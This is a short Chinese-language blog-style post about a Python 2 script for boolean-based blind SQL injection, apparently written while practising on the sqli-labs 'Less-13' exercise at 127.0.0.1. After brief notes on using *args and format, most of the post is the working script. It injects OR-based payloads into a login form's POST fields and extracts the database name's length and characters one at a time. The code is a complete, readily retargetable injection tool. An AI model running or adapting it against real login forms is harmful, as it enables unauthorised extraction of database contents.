通过or注入py脚本

代码思路

1.主要还是参考了别人的代码，确实自己写的和别人写的出路很大，主要归咎还是自己代码能力待提高吧。

2.将功能集合成一个函数，然后通过*args这个小技巧去调用。函数的参数不是argv的值，但是*argv的是。也就是如下：

　　

3.还有就是利用了format，因为是POST所有不好直接设置，但是通过format效果就好得多。

#!/usr/bin/env python
#encoding:utf-8
#by i3ekr

import requests
url = "http://127.0.0.1/Less-13/?id=1"
database_length_payload = "abc' ) or length((select database()))={0} #"
database_name_payload = "xxxxxxxxx')or(select substr((select database()),{0},1))='{1}' # &passwd=1"
database_length = 0
database_name = ""
def get_value(payload,value,*args):
    if len(args) == 0:
        payload = payload.format(value)
        data = {"uname":payload,"passwd":"1"}
    else:
        payload = payload.format(value,args[0])
        data = {"uname":payload,"passwd":"1"}

    print "[*] payload:%s"%(data)
    html = requests.post(url,data=data)
    if "flag.jpg" in html.text:
        return True
    else:
        return False

for i in range(100):
    if(get_value(database_length_payload,i)):
        database_length =+ i
        break

for n in range(1,database_length+1):
    for s in "qwertyuiopasdfghjklzxcvbnm":
        if(get_value(database_name_payload,n,s)):
            database_name +=s
            break

print database_name
print database_length
